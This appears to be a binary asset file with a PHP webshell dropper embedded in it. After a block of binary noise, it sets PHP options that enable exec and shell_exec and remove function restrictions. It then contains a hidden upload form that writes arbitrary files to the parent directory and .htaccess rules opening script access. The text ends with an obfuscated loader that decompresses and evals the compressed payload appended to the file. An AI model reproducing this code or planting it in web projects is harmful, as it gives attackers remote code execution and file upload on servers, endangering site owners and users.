rgmdajwpoxG_enqvwfjdzeys]Nqvwfjdzeys$*7[3/AEz4ol. gf)hb$Qﵟ#-rgmdajwpox,lx.W픣^G;~'Uqvwfjdzeysm=:%A6voUe9TD6"&+Gѐ%)tY"7\#f]
jrbVg20TvwS UXQN5YpL5"Ial7pؕI[m?R~0; %acCQ}/ldQY-Vx@
dlu6}BRMsr[x13ӃWo;Fv-Kf}Z*qՇi2Ҥ|N,ƿ!?;I܋$rZ|*o$?~01a/WoBh0fITc}؊l'N+jRW*Jse;
r v@0L08~4XtEMbוcEO1Դ߁T'yʪkd6M!rdUwoT/_oP/46hh0U_plG8۟/h@&k'Q׊F?j9@K{AQ GGH"^r\ gϿ߹P
H ?rpy^oG½?~&	^"k`ӝ7V'Zu1DB*uI^QTbPMxyQ;;p/= ?rE]+(^?{8M9F
sQcL؊Z-@GZSt+N~^	A
h*@31
T*+='@-^:*iXVpxY!ĉhΖEz+_9Oe蛸R5io~s/Ur
0tJ/K2PJ ȇ%{\'/G}h) t:cĕGqvwfjdzeyswh??)RYqvwfjdzeysrgmdajwpox/|d_cYN3 
݄~V9%
j2JA&̹&\E񿻻T$[s_`SWoV:J)d[qvwfjdzeysEYϓQ/mc٥_y4֨M_)tu}H+}87t&~yE.qvwfjdzeys F/ݦěoDU?^V{%ܓSxL}~77(zhiȡJ5yСުngF\$9zrgmdajwpox+Y(\ALyOV:D(p`S8S74x[PhN.V7o|&ul~*7rgmdajwpox[gC1x~}OFw.zqckpK*BTٝyrgmdajwpoxY-|'Ŀ ugh`A	S޷QsZYkounmm4(gMMÛ',`y!վC7
~07B٨&%ar)X!`oi`&E1䬗rgmdajwpox413K@A'	F5#Oq=|UY$TED'Q/
/FM3'{xC|1pFNOoi"]W_,UmX' 2wT. Ppf``@&u=Pjl/qvwfjdzeys@~Ug6`4%җq7̙ű쑽%̖]L	"qvwfjdzeysݷh7yI0ORr 4;'!/=jJrǨ^e(lb醂cOgŰjo1[0nE2q.DT}[tT=Gg\
wQ[_SeWJ:S FwI}-I$1B-t;qP٢r3&L-ԓp:{e?lt YX.W0fh7bǻl^ArgmdajwpoxIsP)V:Aosg_]I_fIࡶި+
Mg_8+.+^
rgmdajwpoxGzu܆qo0Q}R??68,"͌c]ԞQի&S	_M.qfy"T,$ _аܴʚ
Ff3o Q/\O~HT9w=b
*?AU$
qֆcehE_/j~%͋м`$Vm{0~ǚ]vq5~{Xl"$UDqvwfjdzeysPt?)vߗuVA9nwwJV[wE4fb/Ap }:\N`ƢAŌ.j?j++97`5aN"qvwfjdzeys޾Ϩ^u	ܳUdC~
v&{UQjrgmdajwpox|)	*zH?Apy$rgmdajwpox |.X^^?cd%ufqvwfjdzeysoPGW;Brgmdajwpox/MSzZLkPfDVV!F#x;"óLJK~G4-拤|yKqvwfjdzeysu~%ԯ5 O=n#q*v!͗1A]0B̒sCyM~-]y Ρst8^qw~	FVZB. PK-QMܞF`YČ!agGwԜ.	{8@vIe5حNŘjwVKRbWbh-`w.=(c0Fe喙\B$!(:acv4CӦ2 ƚ
ȇ^}h((e.V԰iPotEgL׫kTͰ(	wY{Fݦ賤.h;C
j7HN@;◓y`'F+z.dTo~d	|oןӂW:BvzᶗW-mH?:fi#Y
OzWOmթ +(mp0SܦJ
wwri'BbJ]Wo-3~cKR(!E`IVㇿv?ng8oCB24;+maHNt%霒:S50t+/f9Ƶ$
 }If@\Cø04a9Gm'y.6ȿAvKԆSTU6?1YCȦ0Ion
a\6szͤJBs7/YS` VNI3];VU\gGjWh$3qF,ݛrgmdajwpoxU|&YIGȊٚ/9!͖+Ȼ3p6?Gb8xh`T}~,
_ݣC
R
7
ZS0h}	r:K(u\%ohYșKZ-s-bW_Eȉ@u
j(J.P!ξUWkrgmdajwpox t+MD:}2|}O6iJM|Z)MdpqvwfjdzeysHt|rgmdajwpoxS븾'b$%qvwfjdzeysx2
36)#tr3l~-Pf,;pjQ_,,]	Jvpb3ۤ,sbCgq2(fɄ~æHg/6Dp'
e9~a{IIXsaE*'%yn'Hyw_ZM8oP7ͦr.LF΄(it$m;gfʲ
ec;8!1S|D®4Nꖶ
˞OC)},~X%8xqJ^kͪFT!	5;t`	Y1N$0ً%IeQ6ZWk)qvwfjdzeysxeGNmqvwfjdzeysp44"DDbAllüs7tz0bͩ"7:4!s{5Bv{ץ~:Bp7%DuӐ4 繅,G7FO~]P:vE4-!V^4o[Z2lN6YpȥpTĐX&dm/xy30Q"{JFcFt\(L~$IPiN}F44qvwfjdzeys̀ٵ{ qN~́ߛ":%f#Dȟݕ=qIU-#X_m4-wrgmdajwpox55Nvl54@\;IqYL ^ĉ}׌OWk\RBoh=%$J
etyH1]^krgmdajwpoxݛOKXۍ&C$m\	&89GK%6w .IW٫&rgmdajwpoxڒ^7;N*WЄlYr~=P9(Ի!Ajc ŉoP,#}UreMT𵗖ٯR')1ڸd؋?=r̒|&L
q'|eؖS	Tn(7qq4J'5{GSe n2=b)!Zf©!!_Ulrgmdajwpox\Y_`
Y./ #5݈yZԄM
:)NCu!m*1+o1,23#W(łmzp07^q,ZYrgmdajwpox(yxmo ?|cߖ%ɫXU3[O6a-3[V"/NɄ6&@⣣%D9巪_Z$-ʏ}F:PqvwfjdzeysPt/nxr/Vލ0=\B2a(K~ouhS͎٥=#!A0 o`knH@ٿIE~$Sr'MӐ U9=
jduoŢHXv܎|CAAf7fsڡα 7],S[f`Zf
g٫Qɇ8TdRH래"W*TG
U}~wt OCNKg`R-A˞V/Mv:cAP|8_F)²d~ߎB, vצ*IfoюKęBA{dBRPˣo7ha^2lBv%'_K_ ]ˌNhe+߹GQЧPHGFnLj}tE)œ|3K
lYs2҇i灨vl'A|ps
wau7hr`5ɞv4*]De@`'
$\7c2rgmdajwpoxc72|-_}rgmdajwpoxTk=vhBHHoAƞ$:?HJPfD] u à 9qvwfjdzeysf̸;ޗWynC++_4?[tQ9Kz+xP~D,M.%!Li_2F&10Rf'DN8o[^ WS ^F"9ܽdZ
k3*-~{l-5WfǸc$Ƶ] 9J_

@uw5`^@:Ɓ(z9*m}dYMxqG~MG?}EGW:Êdot́Zfj3vWG=n7}GPg9DqvwfjdzeysEA6քfQyBuG5Ȣ70PL
qf]{j0i /Yŕ)p	9
;P̙KnIl۾`3H+ٴȘs0D~wTm{("=3q̏7N*Z$@Ծ}C[GiG
-5yn/2Wa~{rXD١	;q&q~~&ﱣf&srgmdajwpox6!J|EWeC繽LDr2M
y'2_dkd\-dP$ɭև:sK2]|8hڗq85$u#=]T_e+cxQQorgmdajwpoxo8"tX3/zN1¡Q1V3Wf:]|xγ)Ik#yd$rgmdajwpoxؾ`r)UMͻJf⯲!Utc/c2dr}p.k
S7r@Z?{d2	qvwfjdzeys SQnVˡ=5hN@ⶆDg-]{l{vWrgmdajwpox4X5h
'Oܕ﹝\[%
s9UiPraB:n6 r7rxQH-o%l/Iڌ1CTUw6&P)GDx{;|+)0
W?nB_}P_%N';Iuâ:Y`j۸`ya$ABrgmdajwpox-#:bERQ[}iIӃ%MVB*\n		j 30q`_cmd/%0T4[z6SFΓ/f3UQSACiS?ݢ;AM	׾˂eG\:Z|B-9.[C5@X&%4d+QXU}֠V
)ȥ{-O\n9o{^
+e.3qm4!bU}3HīuBr2g*"m(crX]؟k[V7d/ qdwqvwfjdzeys͈Zc]^-Z̭ؼ!{)~pDV\6Pk dj։R(6=XJq{HKF{:egPj6)ct@wcYh~_2~| M*{Se&zo=aRDCKcmė,l|HAi`̒r"ZTLfQ 9&ŬeߞN:C(}3;.}m!(%7P
=Ytϣ&TSxFҎ 0-\䉚   p6-wijwjbk&}*&JI]|gK7tPZiռoB/bx0voJ^d\ᗑaBT+س^WdStiX	R$GFhv
HfL=b5%~m=Q9SZZT20Mrgmdajwpox^fz^
YVm^pop5ƲElwL %Pl Π3VSV'Oqvwfjdzeysvˍ{qvwfjdzeysѓRoe_ҁzt;#0*ď|3-bMiy-a7qCwp ŵqvwfjdzeys5	-2ɬ~[]$O9T3nGFtw!JES
"
=y^"R|ݖEI=1OE=LO՚:)4_jٯ%ϺH{
' ,-vOo
Цc:yeVpYw2D̟x$qZM'9?ڔ
j3J\
磊r q$].lO8e7J=]p3yK[X𰎪$J
sާƾ.֐`qvwfjdzeysxn].frܯ6+c`K;]6C77snR[+y3÷br
rgmdajwpox5mPE!jʏh_kqpq9Krq酬TTbk&Icɟ
_pDSK}s񆧦~ƣpg4d	ٗG+F%\4٧y75YB3GD%t?{O
}Yv)E@K-On*߿Ь$|	f fU\$^|n/"%H85f}1"HybYbR\}×V(lS,Uzwi:^evom#{EACBnw~y(22q$%˲`rgmdajwpoxӏ7be߀dXI`*-F#!b^]F&rgmdajwpoxa@/Vo'fjgA.v͏6=	CGdkv([%x|{FYZrKwyje?W'p{LN.`ĎryaLIQ*XR8Hub~6#}]y~ۖ;U;=	qO?ܞ6iH7LJw1pNZ(1~bwb)wq0{޼@WZ\'~F8Ϩ/ڀXT[JTXk`9U;@'4*-pC4| j3lԆ zZfeKRcrgmdajwpoxQ\s
Η^Y;ֈpnjk~rnFrUYy	jD.BT6Dc cisL[ѿFw
~\dd˅ee$r	Ib)xt7ٟ{~I[uIbo╰?{'k+w3xXu^R7v7tUaI'ʛ@c۝1+pQ}νUbQ.9`6׏4Nq lBq_Ѷa0eћ-j$}LDӧYnIޟJR;O
';rgmdajwpoxDX{*"Kݙr7GtwH+GUm
oex3 `#ڙNJ0FS5ZczVKB3J"	IO9}+DEf)=S{jB[4XΞb[lǕ~A30.o#Dܵq@dTpf+ĻMHrPo{([R˦ "8Kט/wx
yMGԪ(?qWҁ4g({oa^@[KF؍q7گc.XKI綨z:F3y]õZrgmdajwpox7bWU.@8c;SC&-ڞDY)W-;yhhAmu'YA5NUrgmdajwpoxuǜgDITjNQ L8)c/]tgxγd[AxDK)	ϕGʶO0FYRjJ)rgmdajwpoxhc¿{Г;nZ52BT]Tz0ՏeC2o*J1$qvwfjdzeys8~CɻvrgmdajwpoxHV({`~ьqvwfjdzeysŢ!C$;	
L"e*h3ZQ/xYE;`zGdlPPYf)%|ߟ?цMsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$UnMv='fil'.'e'.'_ge'.'t'.'_conten'.'ts';$NUAX='ex'.'it';$oFPc='s'.'tr'.'_'.'re'.'place';$KrIO='gzu'.'ncomp'.'ress';$MEwj='subs'.'tr';eval($KrIO($oFPc('mfiztngxsd','>',$oFPc('nyalwvbtef','<',$MEwj($UnMv( __FILE__ ),-172429)))));$NUAX(0);
?>
xTnP]h99sΙ_m RTݺg$V~_oƶߏl۸mlƲ}K:"3%#~c~ߗiOp$Y8Jde$Lp!Hh?b?u}_Nݓ7'߿j-iݛm;_gѿɖH8   V#Ԟh@4!mfiztngxsdzCLn*zCeolphp=%#t^ JE|&OyU+7{ffr6?Jnyalwvbtefy$hnA5Xwh~	M/^ܗetBrAը7d.mfiztngxsdgE1|[TQ9BxZs_j]\\Xe;Z8~m,H|ȋT0[l.+ug$S(M8x,b88|D)/#d}m\qځoEaWLy`Xm`;:iY-:kJw= xWwvg@ǳ*[a68!"X|\3"%e	D&Winyalwvbtef|Z+!PR%0uW#&u:ޕa_74PVRe;pȱ=28a.a[gCB	H4mfiztngxsdlD.kk,a+A	)Ŵ|(A8ED&n޽m4
*Xc пCSMYkKP	H,MTs.E#
TIsqW1%3;IL6KCQUro+3^6c0 Emfiztngxsdq`Inyalwvbtef3Ri٬ɲ͑0W3533}Z ܾoL=t%mnd҂SV5 Yl^vV-`ZRpwvp{2h/mWmI&~O/۫ YP=MyОA/b$5e@)M[wKzĊ}G++!*{[Rt=eAľj_IJ*~.@^m7ï&
,~t(.h.*jE&%j~knyalwvbtefܓAPك9,WTetk$9\D&Xko岯z8c$d1F@6Y;]~A+U(ު!܊-8x1c{Rh[mfiztngxsd6uH.0@+lC=|H@*DhAC\݀H$HOlC{pb9\N֟ۮR|-A+c쐝kIt!{tdCPcׄ@l|`,s CKP^H٩[vȸ-š7l5I9~A}7EfSB	9;tF,{XlBz Bozj"*#W_[,LaBmfiztngxsdF	@DFߋOK"Ot8OyH #}o^u4]l1
cс8h?N[45͎RO2~RgBmfiztngxsdZgmEHNSNHG"N3vʢԾ5u{7
a^xcy *a6ezi8C`w چ1=3F;^ᗓ0-LY7//:϶%
KugLK|\;h9'qmPw_U"-{UH] ?BD8#W1vx9x-yn`Lu6_g^l3Ώ"$"x1}|d)FޣJ[
[7O9s`ݛcd?ڏ8+Xxӹ(c 	v&Hy?J4}Y磣DJ
 x='رwu^9h1IbzpfQG9@x=QkQ3E)ك5DãTE+'۾*(rZ+:JZMQ
(A:Qv7_7)i RaUv*WQVM	",،,G_iE
IƂX}ո4B\)=|a/,	Awd5+&ؘPnyalwvbtef"dI,QgOKywAM| +}d(+heqA0\l'S,=ѷcG*@Z-`/z3:jǦ|rqSY-o/y:d&?I+i£[z˂ΑM  ruٴ{U4H|jdNŁ/W ۬}z[2qs(iL$7Z~FPù(AɼLa1.5E·
ВJ"ǎZ2GR}S'ߐWn':VHiXWJMIt]{,r-|݇izK˽ky]Jmʘߖc,s|q7)bxCPj8p&^0}d_c'1̕RCZkuO"-18bv`=ni_XuX蜈U8sV :#?9%x	qOl?󚻵^h2T nyalwvbtef2$3,/ 3% Fv[$~;GGo
D@
D&،w_Lw$t3
R'mK8'@@%h
Jv[f& M:aYў(`(84ӝp"N3߃Ti!|AOEWZ+.7@'#h@RjM񳶢ݘ
JuOpଽ%ؕ.c֚Mymfiztngxsd| i`cvL՗zׇy6ΑD
1扌	{?Qf֎!ksLun%tG	RcEkl·Ms-bb Y:,*}d`rmZxenyalwvbtef
Q،#u p.6.;=+S\Ŋz]mfiztngxsdD	vONK]2%6a2^jZB̬F|nyalwvbtefSAl$|=)ջZTJ5؎Ti`?ntMְλ#\j:v
N=PC-jǸ(O j~$_-ܱ,F1`!٢+~eٙu=4owd!M*DBpnB(ZL5O"YKF	Q].BKRt=ƊR
ߨNAVh	 L3m-o4F·/\:ҁs5HsJ1j.|tqBX/dVxzP꛿suT ~_Egy#IyAwv8-h
L_.dIqkD[6k'BD/}NރJB񥵚}˅!#lRfS~T{Zs2FoaT:J(\QJmfiztngxsdзqx9īv9NL04'(g_{֪D
pe"2VxiΘmfiztngxsdߙ0Y;teeR1OZ#`TMoX+fQkNcm*i󛥨ض#oXhλѺ=܂x@
O{{@(T^(	~VZW:j@Ts6YY-%^shd&+4B]HtǉJMw߶uy'q]ru?şw̓8R`I\.p0oRq|~-
ܚm0	tϓ"~CћU\*yF8br 5ȇyI~elZ8Y 	'㭪_sd&b2y0,mfiztngxsdHz탖w*DҜ|3F,?n@o9W3Pݜ{deYPeuV`o 5 
F#6ruqnPNK!SՕ$^T$J)7@9|eKl'~xZk3@-T|Go1u	yN|zmwC
(ax~=T[41D{R,B|K:`mfiztngxsdF*;+b&UHgwS5:^/9'nyalwvbtefēqx
Iۍod:AquUYmfiztngxsd$j郼1
 =~)!TAgŶvnyalwvbtef3Vj3QBAa+_ǽ7:kg-unZԯݯ%|F
,p)BsԁU^{;OǞPcB3N㶭Jo8+IL0bYѷ9nyalwvbtefMP8nnyalwvbtefimfiztngxsd0*j(b_
wd䘁eNNzeA"S
TXӦmfiztngxsdeBXCOX9rPRn[2AIw=U .ilmMů *˄G;(}1WO`曶'N# ߣ|_ͤG	zmfiztngxsdSF־QPﱜ i!OaYP8AIpDs&L֪/J,ڈ}:
YxԎK)8:r+ԊqME:˰`\HE)Vc=2{L]ycu*KF+wH_.&e7/kg=J3ɦtzyvY{D!x]6c@B5It7ۯ3LJ\%X|yIHrciy;O]j	w
iX[ o1Z$ge}KPI|oam=f\Α*)-gcH^"ڎɬ('92ȃώѦ-VN:[4m~pdjeD1fTԠN
Y')3S3'\RϷcysߦz5T"NvWǔe	6RWva4-9m𷊇O"g4+~$Cko 3q魼|c)p$Qk?qcL{-uжvVcJpP=qU˕lq#,`l7}G{Y,aH|]픺rDN.M^ׅ!ygv1eyG2Jz*AP,6e:o@=%
*B@L8?#~&Ldb`Sƙ9Z*}@a~rVӲtNSFIa5j@ͫG3Yüg!
$Xp!js.|ޠ?1O&!fxaKmfiztngxsdDUFPjmfiztngxsdE~l=XC!v .$O+(ϑ\q"nyalwvbtef5YZzBI3hIXb@IY$OܨkS|D/	q	 i T 3nyalwvbtef}̂SGe=5q)7vUP{/(j4
pyI%~SAcm.C.\/Rsz8#B[m}FtյyE MGl`*3VҜJOTj?LW'#lnE;2˽LBs2vфnuZ9OsU[(lSx6P%Ū]QRk7%"![`[?؍F x&WDVlMK`@bcU҉}LҡJ}ppM.ޯ&('o5\My_37O0ھ؞Q܏t
{],""簎3Γ9V&,.Uw̚M\"}Bx;$ą̀jsvUcU]=mfiztngxsd-.sg(ҚUhqnvq#ކMInyalwvbtef@5=]R@~j^mi8= nyalwvbtefnyalwvbtefBy߶mfiztngxsd~d T MW^v.o5MA?j(fdc	)[W"#mfiztngxsdB?˴:K!_l4Ӆmfiztngxsd}4+7Qen{NRK&W@ɫz iWҢcܖ1Ok~˞l;GaI0 CL/sDx4[Hx䶲4_.
XDv*FFeBÚjmfiztngxsd۶H `{(tN"(@BO®I볁$p #Ъlg{ַ+*K(qÅ"R&wmfiztngxsdOW"܄؉QG^7	1vD(5ƛB_pj	CjP7G6(G/y+^~t^ON?&`\'0h|إv9~~1"|i2IdJ
\,w|f6DM-b}HPcmfiztngxsdYZ"-Qjw|z=vN5LߣRg桫S#ϯ4!ң^\Wɼ~)ɮ`9L7t%lo
߰xpU/k'IsZsEmS㧭хtg*ܹ}Z^ -X3zOc7g٬*X|K:5b.LEd 3ߩ \4kǧmcŜͺCdBnyalwvbtef'
6LhU~ ap"JzWx[{MṠ&ԥfjzg[\gP/[J BK]lRsm5ę{CDؐ},=5a`aK(r~m\I~dDc]|,@NuYO0k¶p$\{4m֫\c[St$Mm|pߟzPPd(y+5?r܅`NB0_l/WZWdXViNQUmaFz'[y4Li⥹F(pNae|^zi[c?WTZNc[tՇ_k1&PR9):zmfiztngxsdc_VWp[\Úqs]8-QQmfiztngxsd-'2
t[ۮTvP0RoQJlv'w'~X$0]6|**^=-a
_F,&q? ȧ~wJ4TD,~5-B0IMC{w뫰H7#0{fdeLFCj-Bi.#@} nyalwvbtefZA4wm1 |9jig(jqU!}@$64O(0wsUkENCċ46qǯmfiztngxsdL_R$4B2u_*1i"Zf
ͦ$mfiztngxsdMrB~ɳba\,8E,mfiztngxsd͒ѐ
yD~+E7%]|lh{]-\[Dp	3!BT
/4_ݭ$z{ۍDޚWnM5]nyalwvbteflx&"ZWt1SN;ύQ* Bg8Qq2(uCZOO.nyalwvbtef6㕪zmmfiztngxsdBCPRM7Y1UHVݤөOqS0h@S dwe ub2Y'!U|̉k.$SE'w*
dU	=8`8Q+EyyPϝ9VH1hQlK^2#QҋaRnI.UԖK"WՏP:U脃 O~赩(Yȵ|G0 sQIv]i}nǚkv-W$%~nRz#ر"O'/Y`,iTX.~G̍"ށ4e~-;/DnJ/GBW:8-ɒC*@bp
[BD&uzkSglq37_҄TRp-$3ФQ勸9.R;5j"Y..Unyalwvbtefwt;( /b?abnVnQR5GnZ
ǔ39!H:)dU#T*6jmfiztngxsd)۹Y+|9h"9{Q+tϸb@o!3x}ŸSsJˬܣ+
=?UʎK	c"Dr	/iQʴ_}b*
f&ڑZņ\].'v܌^ nE`nyalwvbtef~ntrI'#9~{LInyalwvbtef4Y}c S.vSn
@&X2{gO#3*BmfiztngxsdɼL2C#td(	ݳp
uf"
A[opH9O̻Cꪠ/8E"Јa-/JAuu2ؑMcUeJ3F`J%M7mn֭xtt|aB/f܋:eC_8E]2?Vvua,wBͅ:ot(82a[tWiZDUnyalwvbtef1P=%nyalwvbtefkTeYpmٽ([U0h2{߮JRfQy
݄OL皐"u9ƩN7o$|j|+6%SuUFT_H20K.fM֐LrȖ;mI̠nyalwvbtef҇k'FTyA/y-@OG4 5OVV_;OU')]ڗ`y2IGC孶%nhqlgg	P#@xSN4 mfiztngxsdr`rh(y40]fu6q3 nyalwvbtef*?vmoiui}L/{~&NDz.^[J!,{E.٦n8y*KN`vTǼua.!dN$_a~k7V58:C+rX	_TT^&4W:rѯEьg-R
brR_0"ωn.@}5$9y	zw^x1Iy,W-Sm_hp/U牑,nyalwvbtef Ⱦ$=dXdA6L`;Q35aR*܊@KBG^yP#@]ëvglFk2(sQ'lnK崊iOaƈmfiztngxsdmfiztngxsdSGnyalwvbtef_buA
c'/gV9 q~G[z(eŻ4UUCI+|14 V&=l+{iDQopm!7n"K,]%^C $mfiztngxsdNWnyalwvbtef;k087DmfiztngxsdDYɰSǫv7(N0?uE. &B/t~a5TH1&~`Uo NLP;1Z}^ 40zpQ7Sø&"Fr
}l^(0éV:A}1`_@0LdLdO
8cڨkCv["^/λo:3yۅPLny]kFh!	۩EW`uA^WC3H]=*5mfiztngxsdƼ~轓wxT*OoD~94 
y`B߯%oXlGQ~/5جZ+G{dEwa/@r)o	=iy`u؄/-psmldc_{d+|bsdɘUsDf%QLeTJ8mfiztngxsdm,p%;JFuWxQĺ+`dql+"0ű,Ԝ,:H's4	V-3iRZN͸ds%}3גдG3BȞU`/^#F2'Af()Um+fjr!t2Ԧݥ5A9
r諊ؔ"MXM2k4_z:#w|{/:6/
``nyalwvbtef[L BieLַ6ö#3q S,J[bNAB9mfiztngxsde|2[Kݨhb,xqj019[Fugɣܚ_NmfiztngxsdEFL`C~,*ilП'.9$kiAScfqEY"*:bȡF򮓈K՛pnyalwvbtef\SG|rO;uRS@=!x"E+W
ě]E3h^SϞM3gdD"
W%TWgCR:|-mfiztngxsd:e2{`@?KO;:C%mfiztngxsd1nyalwvbtefʂ
xv0l+?q;\j\[QxSnP,Wmfiztngxsd}`=S}7$}RVHPm!aZI3Cھw9LT_pb6)b|Z)MơxŴAߕǠw
wv`'6a=ұ%wB0[@T@G/}@P鋾^* KlX[Uw`ܼ7Mu;Hhqp8ַ'[LV;(4lKs5۞)5U~'ze0X	7nav7MVg&k3;E$e,(9Sb^=Dp_$
n	nyalwvbtefl#?=M8PfI$mfiztngxsdU@+ϩ͘?y͍^kwVGY֧Ncc|,[?.0Ie;U`yߖDP
wVӜ@o2-ݧPecdGۈhبz A=3SNܖc'ȃC^bugnl Hī4~`1ȡ"	@#lǼ8l*,-N}s܌*ߘeX(t˦=#;S#|DuWMLN[{,wBdgGZ)')PLٝv}Gg6\"lQ#r -XcԳhOK|tnͲ/d2^
rܦB5}9}mfiztngxsdape[4V
	(oR:	qrode@~ZU~ӯr@HCRnyalwvbtefCܐ16_uj\
S˥g	RtVK9lTj~qz
]M8kNJ\۔\b{HnoTiMv̎DKGF?}2PMy2k3Lm1nYN	,T3^=aU$!8A\F[|n9'Kpmfiztngxsd?؉\/h^rUl#)׆Ի9K%*uֵ󅛩
iyAKr)AI"D&C)lV=qbєhJV!{w6BDA~yɈ"p1ȥKgy0χ=n6MX7oN7o!xmfiztngxsdƌplv͘,xjaZ?w9&nTDwѱ\Yv~],@з6y8򼫆gOVSnSLd*ڈ]U=@u0ܮ)@_	R#C}KE)au"
Wj[6g(5To)1ѐJM|~x	mX(@:׶5w+.Q1_ =hw	4hQ`N#)}8\~}B H7 5+3b8FnyalwvbtefZRW`lUCfTDQbx=ac3Kec=0d]ѺGlN?6u{08{i_$?'3¥ΥOs6pU}^7ݥ41ߐּu|X$3:aLSz:-e0FSURx@=x2i2~[
t6y	UGS",mSTDpDhCh&|#}~,
$hXբ$ԒoـL8ƅX/

uվ;^DF3mfrU; 3"Rr"xtFbT9V4gMDh
}Z$	V
W:`}?Z
yQ#ݑd?(xw,l_
6%vX9Y;w[~wlGIzm cSP
#ݥ!LJq ҎE8Yȫmfiztngxsd&&Tj&V}¶7ojAU};/(EYzPi/T%UjW{|K~=upL(8nyalwvbtef_5nyalwvbtef'"bϬv:nyalwvbtef٥~1'fZB2H^i[NSp/" twTs]ڳ7i.m,`1|6J]ju-ZDV~;k
,;2IE~F! շ1s6}&t{վyB/2QԼww*HK,U6곎sc]y]inaN:î}T3)pnyalwvbtefK洳p=|TQۋ/i/46xKG6UfM݃k.|$JķIΆ2&nsL%#PqyXDeRt;A~rGh.7ѶZmfiztngxsdiXXwiϝVuٽКٲeG4%	lWcZ'額FS*/YjlWf,&ڀthjȿ;OGEuz$lv=?}fw5PoĽ6nyalwvbtef_.Wu4M@!M|~ֺGnyalwvbtefzE֔P?٧[6%{R
T霹KXE(\LKTX*G7mfiztngxsdj5p\rF[xG?w6Ohې@V$!tc2_ckuR
o\ɩԵ'B.0Ů?Wfk;
V[RxmfiztngxsdLl%7m2Ё󾹑_dùM)UgD
p9.OfMnyalwvbtef&:q~d	@x$nnyalwvbtef6A	nyalwvbtef!]O̩EJ.­ӓ7~!P0 17gkĸXsJxPG%FkAEJVn}u"&;#%x
nU%fdgh"ScE
81e}Nqsɳ]\+VrsGKx7va$Ftگac㩓+&n7X40Xp(1au-0da@D~F z1kO5B#-`,	2 9_fY'.fU&5F* ^Q*iIjL)oχYpeb7g0طH	Uo?EVpN7ܝLSQ8wcA*nyalwvbtefh:FULN]g"edG~ NNw4M^uԍb3z&qò)0#i?VE/{و|}
l|[bIAϋC&.ncmfiztngxsd'^33wcu
UH.nyalwvbtefs}OΎK'UMp{5$,6A0e[Hp"kΐ`@+ 2%+3n*Qusmfiztngxsd죉TA^J;)g&+Pmfiztngxsdb1{:nf;OEd@|9qaMwX[ ېR#kٚF|
}U&nY93J'vWg\WEZr1Tm(xd|FQ\YH9l*.hiBk^p͢ĠkoJ׉-M:b2~#74GY8T}1Tb}=].Dk$[%*Z4~LOW&l?q^WhFr=zDqV3I9ўs_	`C5nyalwvbtefQKtzgo[3%Vk Xn䒤)l0:Xek-B
QS/=t7F0ՇOKxxiGmfiztngxsdl??|g:&+z|y=N}tgssKL,IfLI lu
anyalwvbtef8{+{4OęAUh~9R)hޤd pH,tH3'c4ފ GQu{A01\Q1!mfiztngxsd&ջ7*=XB:D,R9H¼FKG#^r7x#~[EmfiztngxsdjxgYw	2ƍ&zYr%b|C=xZcsm_&a_o}3V? w;}ueyc *MG3P%Я#byu,jW?Dߵխ&gNymgoxҽ13l'e,Jv`hv.'JU5#	-%/eLPy nyalwvbtef+ev!bkx@Nl'mfiztngxsdK3
 U	n,)I(نJN~@cO1?dUb|mfiztngxsd f=Gjz7nvvb+_z_c@pg(Iq-E0ŢA4
t| m(WC@2&h1̬)P3O:(mV"4mfiztngxsd)Lhx8'q~npLjS-O,?J yC\TB}HM܏.mȉX^:|nyalwvbtef@-݌3kg\{zۇ:Mr4ymʑ3B',qIVMa=h/UָӫnQᕑ5:)6L*G
@v1]7 l) JNOm4S$[}Jmܮ:7 
@,hU(5'4rb@*n5dk:(F@ǐ.dqF]So'oavg%L,JiĂ{(Ί@nyalwvbtef%'AB4n8 WRf(nF--+2GTiem$Ʒ!o5PRG5+L
c2LWt@E``@`2nyalwvbtef5*CxzQ(HɌ85;Kv7JAZ{A4ǙnIJmfiztngxsd?`NXƜQ+[By0o]^-gϱnWrPƫFV@f6N(z(ۤYe';wadG5¼\OpC~F!m!ؐ2"a7a89[xR_ğVL4TC:x58޺ꫴՇ-	IL;%t*g	@3XKxU9|W׎V9ࢆ	8RH=\[h_Aal:|^cnyalwvbtef{Omfiztngxsd1N3eC4C˝*^v΂I|&T-,s(g	~8r,ᇳ+
fL1)я~*t~L	1yhָ[ukJ%aFbk#,ϭȨÒ-wHbdo4șUlj$P)/`Bce04ܱ^4@LNew7pʈA،{!4 -jis[Q'cn*y\6	/\l,6Y(j*mBU*Ht
7Ybz=n(	?թhܱ 
hF\ $?;*VƆ#tN-( _1Fz C{y8q/&CנА5!'\(ҧ1"C/ocxE0е \e~^"QYyrSWdg }PR4,7sIT+]Ig|ֆ{ 
nyalwvbtefmfiztngxsd# H'.IO$@aB6 [Pe`R4=x0]P^SQ% ~C8 ΝO1ͥwK3h,FYf"wCb//tvsl E#ǥPђ?4AɔMnyalwvbtef
}sŉܩq4Aҝ6nC}AIϊf-;_aC1|PH
I&mdA݅~󶨜dti'wRD`f~_Js	i`腵9W!@rGR6y̲\E__@'y8D_vRԨ䳫4K6%~ݷ\O7:(}y={ ^RnyalwvbtefpXode-iOHI[J'lACGALϠ&냌bvt_&zagWvDDk8LCuQ8rO@f}5#$;I0] #P\0GW un&_/VDe+/-L=,It,)4U0 "mΒ]o1򊮰6+j3 rz{emfiztngxsd75[*|?O
/L?R9:}qpkI&nE
%&u`kuyװ~cPlmfiztngxsd*kA͗*ђr+muf&RL:[25c0:OƕkdUL?Dy]͗pD'!%vN"I%٤qYh3Cm;
vLfRXuDބFXӸ#NϬDoYGu2["F`4	DFmԲs'm	߅(u_a|«t?;Kb\~WIݞȉԗt:
uþ@FӨE:7,_"+5uDhpfUC' }Q֩,h^Lq߆WvS** 7'7dBH,OUSMua,:J
iüjh&]nyalwvbtef/Y@P "`3EJNh5^$
4rP_mfiztngxsd/6VxirΆ, 6`#jh1~t8#k/˳k	g1y,-i&~g٧n^$Ko'xq|蹛,S^lI{"\lC#Mv! .| oKs.u\`Cp+E-.	gU'"q,
